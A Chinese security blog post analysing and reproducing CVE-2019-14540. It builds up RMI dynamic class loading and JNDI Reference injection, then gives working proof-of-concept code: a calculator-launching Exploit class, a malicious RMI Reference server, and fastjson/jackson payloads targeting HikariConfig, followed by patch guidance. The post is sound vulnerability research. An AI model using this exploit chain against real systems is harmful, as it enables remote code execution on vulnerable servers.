I am a slow walker, but I never walk backwards.

CVE-2019-14540远程代码执行漏洞分析&复现

Posted on By Curz0n

0x00 前言

从2017年3月15日,fastjson官方主动爆出框架存在远程代码执行高危安全漏洞以后,小弟对官方这种壮士割腕的行为由衷佩服,从此该框架名一直牢记于心。但是因为一些原因,一直以来也没找机会对漏洞原理进行学习,正好最近又爆出了个CVE-2019-14540,影响jackson,同时也影响fastjson,漏洞原理都是利用反序列化造成RCE,所以借此分析CVE-2019-14540的同时好好学习一下相关知识。

0x01 前置知识

分析CVE之前我们先一起学习下前置知识,以便于对漏洞有个更深刻的认识。

1. 序列化与反序列化

先来看一下序列化与反序列化的概念:
序列化:把对象转换为字节序列的过程称为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
什么意思呢?以Java为例,在描述一个事物的时候会定义一个类,当需要真正使用这个类的时候,通常需要把它实例化成一个对象,这个对象它是实实在在占用内存空间的,而内存里面的数据表现形式都是二进制,如果我们想把内存中的对象持久化保存起来,这段二进制存储成本地文本文件的过程就可以把它理解成对象的序列化。反之亦然,把文本文件恢复到内存中的过程就可以理解成对象的反序列化。当然,序列化除了本地持久化以外,还可以把内存中的二进制转换成数据流用于网络传输。

2. RMI远程方法调用

RMI(Remote Method Invocation)是JDK 1.2版本中实现的一种远程方法调用机制,是分布式编程中的基本思想。利用这种机制可以让某台服务器上的对象在调用另外一台服务器上的方法时,和在本地机上对象间的方法调用的语法规则一样。实现原理图如下:

下面我们来看demo代码帮助理解RMI:

服务端工程目录结构如下:

RMIServerDemo
│  .classpath
│  .project
│
├─.settings
│      org.eclipse.jdt.core.prefs
│
├─bin
│  └─com
│      └─rmitest
│              RmiSample.class
│              RmiSampleImpl.class
│              RmiSampleServer.class
│
└─src
    └─com
        └─rmitest
                RmiSample.java
                RmiSampleImpl.java
                RmiSampleServer.java

定义远程接口RmiSample.java

package com.rmitest;

import java.rmi.Remote;
import java.rmi.RemoteException;

//远程接口必须继承Remote
public interface RmiSample extends Remote{
    //所有远程实现方法必须抛出RemoteException
    public  int sum(int a,int b) throws RemoteException;
}

实现远程接口RmiSampleImpl.java

package com.rmitest;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

//必须继承UnicastRemoteObject
public class RmiSampleImpl extends UnicastRemoteObject implements RmiSample{

    //覆盖默认构造函数并抛出RemoteException
    public RmiSampleImpl() throws  RemoteException{
           super();
    }
    //方法实现,所有远程实现方法必须抛出RemoteException
    public int sum(int a,int b) throws  RemoteException{
           return a+b;
    }
}

服务器程序RmiSampleServer.java

package com.rmitest;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiSampleServer {

    public static void main(String[] args) {
        try {
            //创建RMI Registry,默认监听1099端口
            Registry registry = LocateRegistry.createRegistry(1099);
            //实例化RmiSample对象
            RmiSample serverObj = new RmiSampleImpl();
            //把serverObj对象绑定到Registry中,客户端可以通过在Registry查找SAMPLE-SERVER获取到serverObj对象
            registry.bind("SAMPLE-SERVER", serverObj);
            System.out.println("RMI服务已经启动....");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端工程目录结构如下:

RMIClientDemo
│  .classpath
│  .project
│
├─.settings
│      org.eclipse.jdt.core.prefs
│
├─bin
│  └─com
│      └─rmitest
│              RmiSample.class
│              RmiSampleClient.class
│
└─src
    └─com
        └─rmitest
                RmiSample.java
                RmiSampleClient.java

在客户端程序中也要定义远程接口RmiSample.java,注意该文件的包名、类名和服务端的远程接口需要保持一致。

客户端程序RmiSampleClient.java

package com.rmitest;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiSampleClient {

    public static void main(String[] args) {
        try {
            //通过ip和端口等信息在本地创建一个Stub作为Registry远程对象的代理
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
            //相当于在Registry中查找键值为SAMPLE-SERVER的远程对象
            RmiSample RmiObject = (RmiSample) registry.lookup("SAMPLE-SERVER");
            System.out.println(" 1 + 1 =  " + RmiObject.sum(1, 1));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

先启动服务端,在启动客户端,可以看见客户端没有RmiSample接口的具体实现下,正确输出1+1=2,这里客户端调用了远程服务端的实现方法使程序正常运行。

2.1 RMI动态加载类

从上述Demo中我们可以了解RMI的简单实现方法,RMI除了实现远程方法调用以外,还有一个核心特点是动态加载类。如果当前JVM中没有某个类的定义,它可以通过http协议去网络下载这个类的class,实现动态扩展应用的功能。

定义类Exploit,在其构造方法中启动计算器应用,让RMI动态加载该类,Exploit.java代码如下:

public class Exploit {
    public Exploit() {
        try {
            if (System.getProperty("os.name").toLowerCase().startsWith("win")) {
                Runtime.getRuntime().exec("calc.exe");
            } else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {
                Runtime.getRuntime().exec("open /Applications/Calculator.app");
            } else {
                System.out.println("No calc for you!");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

使用javac命令把Exploit.java编译成class文件,然后放到web服务器中。修改Demo工程RMIServerDemo的SmiSampleServer.java代码,让RMI服务器程序动态加载class文件,具体代码实现如下:

package com.rmitest;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.Reference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RmiSampleServer {

    public static void main(String[] args) {
        try {
            //创建RMI Registry,默认监听1099端口
            Registry registry = LocateRegistry.createRegistry(1099);
/*
            //实例化RmiSample对象
            RmiSample serverObj = new RmiSampleImpl();
            //把serverObj对象绑定Registry中,客户端可以通过在Registry查找SAMPLE-SERVER获取到serverObj
            registry.bind("SAMPLE-SERVER", serverObj);
            System.out.println("RMI服务已经启动....");
*/
            //存放class的远程服务器地址
            String remote_class = "http://127.0.0.1:8089/";
            //Reference对象代表存在于JNDI以外的对象的引用
            Reference reference = new Reference("Exploit", "Exploit", remote_class);
            ReferenceWrapper re = new ReferenceWrapper(reference);
            //把Reference对象绑定到Registry,客户端可以通过在Registry查找Exploit-SERVER获取到re对象
            registry.bind("Exploit-SERVER",re);
            System.out.println("RMI服务已经启动....");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

从代码可以看见,通过new Reference对象去web服务器中下载远程的class文件,返回一个代表存在于JNDI以外的对象的引用,这里出现了一个新名词——JNDI。

3. JNDI

JNDI(Java Naming and Directory Interface),翻译成中文叫Java命名和目录接口,简单理解JNDI的作用就是:JNDI把很多不同的服务整合在一起,并为每个服务取一个别名,以键值对的形式保存起来,然后对外提供一个统一接口,使用者只需要调用接口并传入服务名就可以获取到对应的服务,其架构图如下:

从架构图可以看见,用户能够直接通过JNDI接口使用RMI、LDAP等服务。在RMI动态加载类部分有提到,动态加载远程class返回的Reference对象代表的是对存在于JNDI系统以外的对象的引用,这里的JNDI就代表着RMI服务,因为返回的Reference对象已经是JNDI里面的概念了,所以RMI客户端部分可以利用JNDI来管理RMI远程对象的注册服务。

修改RMIClientDemo工程中客户端程序代码,使用JNDI来管理RMI,新建RmiSampleClientJndiTest.java,代码具体实现如下:

package com.rmitest;

import java.util.Hashtable;

import javax.naming.Context;
import javax.naming.InitialContext;

public class RmiSampleClientJndi {

    public static void main(String[] args) {
        String url =  "rmi://127.0.0.1:1099/";
        try {
            //使用Hashtable保存环境配置信息
            Hashtable<String,String> env = new Hashtable<>();
            //设置JNDI驱动的类名,com.sun.jndi.rmi.registry.RegistryContextFactory代表RMI服务
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
            //设置RMI服务端ip、端口信息
            env.put(Context.PROVIDER_URL, url);
            //使用Hashtable保存的配置信息初始化上下文
            Context ctx = new InitialContext(env);
            //根据上下文查找绑定的远程对象
            RmiSample RmiObject = (RmiSample)ctx.lookup(url + "Exploit-SERVER");
            System.out.println(RmiObject.sum(4, 5));
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

    }

}

从代码实现可以看出,要使用JNDI管理RMI,还需要先设置一堆配置信息,显得非常麻烦,为了方便简洁,JNDI还支持不绑定环境信息,直接初始化上下文。新建RmiSampleClientJndi.java,代码具体实现如下:

package com.rmitest;

import javax.naming.Context;
import javax.naming.InitialContext;

public class RmiSampleClientJndi {

    public static void main(String[] args) {
        String url =  "rmi://127.0.0.1:1099/Exploit-SERVER";
        try {
            //初始化上下文
            Context ctx = new InitialContext();
            //根据上下文查找绑定的远程对象
            RmiSample RmiObject = (RmiSample)ctx.lookup(url);
            System.out.println(RmiObject.sum(4, 5));
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

}

启动服务端,运行RmiSampleClientJndi.java,发现控制台报错,但是有趣的事情发生了,计算器应用启动了。

3.1 JNDI Reference注入漏洞

在JNDI服务中,如果RMI服务端是通过Reference类来绑定一个外部的远程对象(RMI动态加载类),在客户端初始化上下文,调用InitialContext.lookup(URI)方法后,会自动加载并实例化Reference绑定的对象,如果传入lookup方法的URI可以被控制,攻击者就可以自己搭建RMI服务端并返回一个恶意的Reference对象,比如在Reference绑定的外部对象的构造方法、静态代码块中插入恶意代码,在JNDI自动实例化Reference绑定的对象时,构造方法里面的恶意代码就会自动执行,达到RCE效果。
到这里,上面Demo工程中为什么报错还能够弹出计算器应用就好理解了,传入lookup方法的URI指定远程RMI服务端,远程RMI服务端实现是通过http网络下载外部Exploit.class文件,并返回Reference引用对象,Exploit的无参构造方法里面实现了启动计算器应用的逻辑,在JNDI自动实例化Reference引用对象(Exploit对象)时,构造方法里面的代码就执行了。

4. FastJson使用入门

fastjson使用详情可以参考官方WiKi,重点来关注反序列化的使用方法。首先定义一个User类:

public class User {
    private int age;
    private String name;
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge方法被自动调用!");
        this.age = age;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        System.out.println("setName方法被自动调用!");
        this.name = name;
    }
}

使用fastjson反序列化一段文本字符串:

    public static void main(String[] args) {
        //使用@type指定该JSON字符串应该还原成何种类型的对象
        String userInfo = "{\"@type\":\"com.cve20191454.User\",\"name\":\"curz0n\", \"age\":18}";
        //开启setAutoTypeSupport支持autoType
        ParserConfig.global.setAutoTypeSupport(true);
        //反序列化成User对象
        User user = (User)JSON.parse(userInfo);
        System.out.println(user.getName());
    }

执行方法,输出如下:

setName方法被自动调用!
setAge方法被自动调用!
curz0n

从输出信息可以看出,在JSON字符串反序列化成User对象时,会自动调用对象的setXXX方法,如果反序列化对象的setXXX方法里面存在JNDI的InitialContext.lookup(URI)方法,那不就可以触发JNDI Reference注入漏洞了吗?

0x02 CVE-2019-14540

1. 漏洞原理

CVE-2019-14540漏洞详情可以查看Jackson官方issues/2410,造成漏洞原因是jackson/fastjson把字符串反序列化成com.zaxxer.hikari.HikariConfig对象时,HikariConfig对象的setMetricRegistry方法里面调用了InitialContext.lookup(object),详情如下:

setMetricRegistry方法

   public void setMetricRegistry(Object metricRegistry)
   {
      if (metricsTrackerFactory != null) {
         throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
      }

      if (metricRegistry != null) {
         metricRegistry = getObjectOrPerformJndiLookup(metricRegistry);

         if (!safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry")
             && !(safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry"))) {
            throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
         }
      }

      this.metricRegistry = metricRegistry;
   }

传入的参数metricRegistry不等于null,调用getObjectOrPerformJndiLookup,方法详情如下:

getObjectOrPerformJndiLookup方法

   private Object getObjectOrPerformJndiLookup(Object object)
   {
      if (object instanceof String) {
         try {
            InitialContext initCtx = new InitialContext();
            return initCtx.lookup((String) object);
         }
         catch (NamingException e) {
            throw new IllegalArgumentException(e);
         }
      }
      return object;
   }

熟悉JNDI Reference注入漏洞的同学一看代码就明白怎么回事了,getObjectOrPerformJndiLookup方法中直接初始化了上下文并调用lookup方法,传入lookup方法的参数就是setMetricRegistry方法的参数,因为使用fastjson/jackson反序列化对象时可以控制传入setXXX方法的参数,且setXXX方法会被自动调用,所以可以结合JNDI Reference注入漏洞构造poc如下:

String poc = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit-SERVER\"}";

在HikariConfig.java中搜索getObjectOrPerformJndiLookup方法的引用,发现除了setMetricRegistry方法以外,还可以利用setHealthCheckRegistry方法触发漏洞。

2. 漏洞复现

笔者电脑环境比较古老,还是用的Eclipse手动导入jar包的方式,下载最新版本HikariCP组件的jar包和依赖项目slf4j,然后Add to Build Path,如下所示:

先启动RMI服务端,服务端实现需要动态加载外部class,具体实现见RMI动态加载类部分的知识点,然后使用fastjson反序列化,成功执行到攻击者指定RMI服务器提供的远程对象里面的恶意代码。

使用jackson反序列化同理,poc如下:

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue("[\"com.zaxxer.hikari.HikariConfig\", {\"metricRegistry\":\"rmi://127.0.0.1:1099/Exploit-SERVER\"}]".getBytes(), Object.class);

3. 影响版本&修复建议

fastjson影响版本: version < 1.2.60 ,修复commit: 5d09b913a533cf2d2eeea1124337681494804336,建议升级到1.2.60或以上版本。
jackson-databind影响版本: version < 2.9.10 ,官方发布详情戳这里,修复commit: d4983c740fec7d5576b207a8c30a63d3ea7443de,建议升级到2.9.10或以上版本。

0x03 结语

从整篇分析可知,造成CVE-2019-14540漏洞其实也不是fastjson、jackson单方面因素导致的,而是需要被攻击者环境中使用了fastjson或者jackson库,同时还使用了第三方组件HikariCP才能组合成一套攻击链,所以相对影响面还是比较小。到这里,CVE-2019-14540漏洞分析就暂时结束了,笔者功力不深,文章所述有理解错误的地方还请不吝赐教。

References:

CVE-2019-14540 exploit
深入理解JNDI注入与Java反序列化漏洞利用

版权声明:转载请注明出处,谢谢。https://github.com/curz0n